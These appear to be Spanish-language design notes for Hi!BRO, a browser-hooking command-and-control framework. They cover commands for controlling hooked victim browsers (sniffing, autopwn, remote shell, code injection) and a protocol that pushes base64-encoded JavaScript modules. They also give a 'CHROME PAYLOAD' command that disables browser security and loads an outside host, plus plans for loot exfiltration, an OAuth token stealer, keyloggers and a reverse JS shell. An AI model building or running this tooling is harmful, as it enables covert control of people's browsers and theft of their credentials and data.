---
# System prepended metadata

title: Hi!BRO

---

# Hi!BRO

![image](https://hackmd.io/_uploads/Bk2zBB4wA.png =450x250)

BoFC2


### Requisitos de Software
- **Node.js** Hi!Bro ha sido probado con Node.js versión 12.22.12. Asegúrate de tener una versión compatible.
- **Dependencias Utilizadas** Hi!Bro hace uso de las siguientes dependencias, las cuales serán instaladas automáticamente mediante **npm install**:
```
chalk@5.3.0
child_process@1.0.2
cli-table3@0.6.5
csv-parser@3.0.0
express@4.19.2
fast-csv@5.0.1
json2csv@6.0.0-alpha.2
readline-sync@1.4.10
webdav@5.6.0
webdav-server@2.6.2
ws@8.17.1
```
## Comandos Disponibles

**Desde la consola interactiva, puedes utilizar los siguientes comandos:**

- `show modules`: Muestra los módulos en una tabla.
- `show clients`: Muestra los clientes en una tabla.
- `use <module>`: Usa un módulo específico y cambia el prompt.
- `bro <client_id>`: Cambia el prompt al contexto de un cliente específico.
- `help`: Muestra este mensaje de ayuda.
- `exit`: Sale del programa.

//TODO COMANDOS 

update modules
update hibro
reload
reload_all
hihook

massive <module>
?? big help    
loot
services
save
sleep     
version    
    
#### Uso de Módulos

Cuando se usa el comando `use <module>`, el prompt cambia para reflejar el contexto del módulo. Los comandos específicos para módulos incluyen:

- `setparam <PARAM_NAME> <PARAM_VALUE>`: Establece un valor de parámetro en `template.js`.
- `info`: Muestra información sobre el módulo.
- `help`: Muestra los comandos disponibles para el módulo.
- `exit`: Sale del modo de módulo y vuelve al prompt principal.
- setclient <client_id>
-     
    
    
#### Uso de Clientes

Cuando se usa el comando `bro <client_id>`, el prompt cambia para reflejar el contexto del cliente. Los comandos específicos para clientes incluyen:

info                                - Show information about the client
setmodule <MODULE_NAME>             - Set a module for the client
sniff                               - Start sniffing data from the client
check                               - Check client security flags
inyectHTML <local-html-path>        - inyect local HTML file
runjs <local-js-path>               - 
runwasm <local-wasm-path>
runwasmraw <local-wasm-path>
getcontext
autopwn    
shell                               - Open a shell for the client
exit                                - Exit the client mode and return to main prompt
    
## Estructura de un Módulo

Un módulo en Hi!Bro está diseñado para ser fácilmente entendible y configurable. Cada módulo sigue una estructura específica que incluye metadatos y el código que se ejecutará en el navegador hookeado. A continuación se muestra un ejemplo de un módulo y una explicación detallada de su estructura.

### Ejemplo de Módulo: `simple-alert.js`

```javascript
/*

AUTHOR: hibro
NAME: simple-alert
URL: github.com/hibro
DESCRIPTION: Run a simple alert to test the hook
PARAM:MSG: Message to show in alert

*/
alert(PARAM:MSG);
```

### Estructura del Módulo

1. **Metadatos**: Cada módulo comienza con un bloque de comentarios que contiene metadatos sobre el módulo. Estos metadatos incluyen:
   - `AUTHOR`: El autor del módulo.
   - `NAME`: El nombre del módulo.
   - `URL`: Un enlace relacionado con el módulo, como un repositorio de GitHub.
   - `DESCRIPTION`: Una breve descripción de lo que hace el módulo.
   - `PARAM`: Una lista de parámetros que el módulo puede recibir. Cada parámetro tiene un nombre y una descripción.

2. **Código del Módulo**: Después de los metadatos, se encuentra el código JavaScript que se ejecutará en el navegador hookeado.


## ORGANIGRAMA DEL PROYECTO

```
.
├── certificate.pem
├── data
│   ├── db
│   │   ├── clients.csv
│   │   ├── http-payloadStack.csv
│   │   └── modules-db.csv
│   ├── modules
│   │   └── simple-alert.js
│   └── templates
│       └── template.js
├── data.json
├── env
│   ├── add-functions.js
│   ├── client-functions.js
│   ├── menu-functions.js
│   ├── modules-functions.js
│   ├── show-functions.js
│   └── update-functions.js
├── hibro.js
├── inc
│   ├── config.js
│   ├── http-server.js
│   ├── https-server.js
│   ├── webdav-server.js
│   └── websocket-server.js
├── logs
│   ├── hibro.log
│   └── webdav-login.log
├── node_modules/
├── package.json
├── package-lock.json
├── privatekey.pem
└── README.md
```

### Archivos y Directorios Principales

- `certificate.pem` y `privatekey.pem`: Certificados SSL para el servidor HTTPS.
- `data/`: Contiene bases de datos, módulos y plantillas.
  - `db/`: Bases de datos en formato CSV.
  - `modules/`: Scripts de módulos.
  - `templates/`: Plantillas para módulos.
- `env/`: Funciones auxiliares para manejar diferentes aspectos del servidor.
- `inc/`: Configuración y servidores.
- `logs/`: Archivos de log.
- `hibro.js`: Archivo principal del servidor.
- `package.json` y `package-lock.json`: Dependencias del proyecto.

# Hi!Hook
## HOOKING ❌ #>

### PROTOCOLOS DE HOOKING #>

- **HTTP & HTTPS**
  - **Estado:** ❌✔️
  - **Descripción:** HTTP y HTTPS son protocolos ampliamente utilizados para la comunicación web. Hi!Bro soporta ambos para el hooking de navegadores.
- **Websockets**
  - **Estado:** ❌✔️
  - **Descripción:** WebSockets permiten una comunicación bidireccional y en tiempo real entre el servidor y los navegadores, ideal para aplicaciones que requieren actualizaciones instantáneas.
- **WebDAV**
  - **Estado:** ❌✔️
  - **Descripción:** WebDAV es un protocolo para la gestión remota de archivos en servidores web. Hi!Bro lo utiliza para operaciones seguras y eficientes de archivos desde el navegador.
- **WebRTC**
  - **Estado:** ❌
  - **Descripción:** WebRTC permite comunicaciones de audio, video y datos en tiempo real entre navegadores. Actualmente no implementado en Hi!Bro.
- **QUIC/HTTP3**
  - **Estado:** ❌
  - **Descripción:** QUIC es un protocolo de transporte experimental que ofrece conexiones seguras y eficientes. No implementado en Hi!Bro.
- **TCP/UCP**
  - **Estado:** ❌
  - **Descripción:** Protocolos tradicionales de transporte de datos. No implementados en Hi!Bro.

### HOOK FUNTIONS


    
#### SENDING LOOT FUNCTIONS
    
- sendSimpleLoot() - Hace una peticion HTTPS a /loot/invoke-looter a la que le enviara una peticion como si fuera a subir un fichero donde el "raw" del fichero probiene un de base64 que se decodifica en la llamada de la funcion 
    
- sendHTTPEncodedLoot()
    
- sendDNSEncodedLoot()
    
    
____

type,protocol,inyection-type
X X XX

type:

exploit-0001
exploit-0101

{
fingerbro:"",
lastTS:000,
hookd    
}



## LOS JSON - ESTABLECER COMUNICACION BASICA CON HIHOOK.JS CON LOS JSON CON BASE64

```
El hookrecive siempre un paquete como este:

{"resultado":"Hi!Bro","datos":"","fingerprint":"d41d8cd98f00b204e9800998ecf8427e"} 

El hook envia un paquete como este:


{'f': 'exploit-0001', 'c': "<base64>", 'server': 'bro.host'}
    
    
{'function': 'exploit-0001', 'code': "b'LyoKCmhpSG9vay5yZXN1bHRhZG8gPSAiT0siOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwpjb25zdCByZXN1bHRhZG8gPSBoaUhvb2sucmVzdWx0YWRvOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwoKaGlIb29rLmRhdG9zID0gIkRhdG9zIGFjdHVhbGl6YWRvcyI7IC8vIEVzdGFibGVjZXIgZWwgdmFsb3IgZGUgZGF0b3MKY29uc3QgZGF0b3MgPSBoaUhvb2suZGF0b3M7IC8vIE9idGVuZXIgZWwgdmFsb3IgZGUgZGF0b3MKCmhpSG9vay5jbGllbnRlID0gIk51ZXZvIENsaWVudGUiOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIGNsaWVudGUKY29uc3QgY2xpZW50ZSA9IGhpSG9vay5jbGllbnRlOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIGNsaWVudGUKCiovCgpmdW5jdGlvbiBpbml0TW9kdWxlKCkgewoKCWFsZXJ0KCIxMzM3Iik7Cgl3aW5kb3cuYnJvb2sucmVzdWx0YWRvID0gIk9LIjsKCXdpbmRvdy5icm9vay5kYXRvcyA9IGJ0b2EoIkVWQUwgUlVOTkVEIik7Cgp9Cgppbml0TW9kdWxlKCk7Cg=='", 'server': 'test.hb.net'}

Y recive algo como esto:

{"resultado":"OKDATA","datos":"RVZBTCBSVU5ORUQ=","cliente":"d41d8cd98f00b204e9800998ecf8427e"}

```

### EJEMPLO CON WSCAT #>

```
jomoza — 10/03/2023 10:47 PM
>> {"resultado":"Hi!Bro","datos":"","fingerprint":"d41d8cd98f00b204e9800998ecf8427e"} 
<< {'f': 'xploit-0001', 'c': "b'LyoKCmhpSG9vay5yZXN1bHRhZG8gPSAiT0siOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwpjb25zdCByZXN1bHRhZG8gPSBoaUhvb2sucmVzdWx0YWRvOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwoKaGlIb29rLmRhdG9zID0gIkRhdG9zIGFjdHVhbGl6YWRvcyI7IC8vIEVzdGFibGVjZXIgZWwgdmFsb3IgZGUgZGF0b3MKY29uc3QgZGF0b3MgPSBoaUhvb2suZGF0b3M7IC8vIE9idGVuZXIgZWwgdmFsb3IgZGUgZGF0b3MKCmhpSG9vay5jbGllbnRlID0gIk51ZXZvIENsaWVudGUiOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIGNsaWVudGUKY29uc3QgY2xpZW50ZSA9IGhpSG9vay5jbGllbnRlOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIGNsaWVudGUKCiovCgpmdW5jdGlvbiBpbml0TW9kdWxlKCkgewoKCWFsZXJ0KCIxMzM3Iik7Cgl3aW5kb3cuYnJvb2sucmVzdWx0YWRvID0gIk9LIjsKCXdpbmRvdy5icm9vay5kYXRvcyA9IGJ0b2EoIkVWQUwgUlVOTkVEIik7Cgp9Cgppbml0TW9kdWxlKCk7Cg=='", 'server': 'test.hb.net'}
jomoza — 10/03/2023 11:13 PM
>> {"resultado":"OK","datos":"RVZBTCBSVU5ORUQ=","cliente":"d41d8cd98f00b204e9800998ecf8427e"}
```

### Ofuscacion en hibro! (comunicaicones, payloads...)

- RECIVER PARSING :: (Para recepcion de ficheros y estas cosas)
- CIFRADO(!) _ OPCIONAL . - NOCRYPTO TAG!
- HiBRO en memoria - HiBro en un HID - 
- HiBro conectividad de managment "como si fuera una victima"

### C2 MODE ()

    CHROME PAYLOAD
    
    .\chrome.exe --allow-sandbox-debugging --debug-devtools --disable --allow-insecure-localhost --allow-running-insecure-content --disable-kill-after-bad-ipc --disable-web-security --non-secure --reduce-security-for-testing --sync-allow-insecure-xmpp-connection --incognito --demo --accept-resource-provider --disallow-non-exact-resource-reuse --local-ntp-reload --enable-local-file-accesses --enable-local-sync-backend --force-fieldtrials --force-local-ntp --ui-enable-zero-copy --debug-enable-frame-toggle --enable-appcontainer --enable-android-wallpapers-app --enable-browser-task-scheduler --enable-experimental-web-platform-features --enable-experimental-input-view-features --force-app-mode --headless --ignore-certificate-errors --ignore-certificate-errors-spki-list --ignore-urlfetcher-cert-requests --javascript-harmony --log-net-log --no-sandbox --output --rdp_desktop_session --shared-files https://loveisinthe.net


___

# HIBRO TODO.

    FUNCTIONAL POCS
    
    [+] 
    

## DEVING PAYLOADS #>

- some trolling payloads ❌❌❌
    - change all images
    - funny_sounds
- Token OAuth Stealer FALTA! ✔️❌
    - second app in nodejs
    - login form detectos - add button login
- BITB ( del rollo ) X /mas o menos... ❌
    - integration 
- Crash Browser ✔️❌  mirara bien crashes
    - history
    - recirsiv
- persistences? (uff) rolo? FALTA! ✔️❌
    - PIVJSOTING ✔️❌
        massive ifremings
        open second miniwin       
- exploiting (jsqlmap) FALTA X ✔️✔️❌
    - jsqlmap (fuzzer)
- stealers js (jskeylogger, ...) ❌ ✔️
    - https://www.hackingarticles.in/a-detailed-guide-on-html-smuggling/
    - https://github.com/t3l3machus/toxssin
    - file extractor
    - macro adder
- Exfiltration
    - HTTP    
    https://github.com/hoodoer/XSS-Data-Exfil/blob/main/exfilPayload.js
    - DNS EXFILTRATION ❌❌ 
        https://arxiv.org/pdf/1004.4357.pdf

        https://hakin9.org/browsertunnel-surreptitiously-exfiltrate-data-from-the-browser-over-dns/
- reverseJSshell (integrated?)
    - https://github.com/shelld3v/JSshell



    
    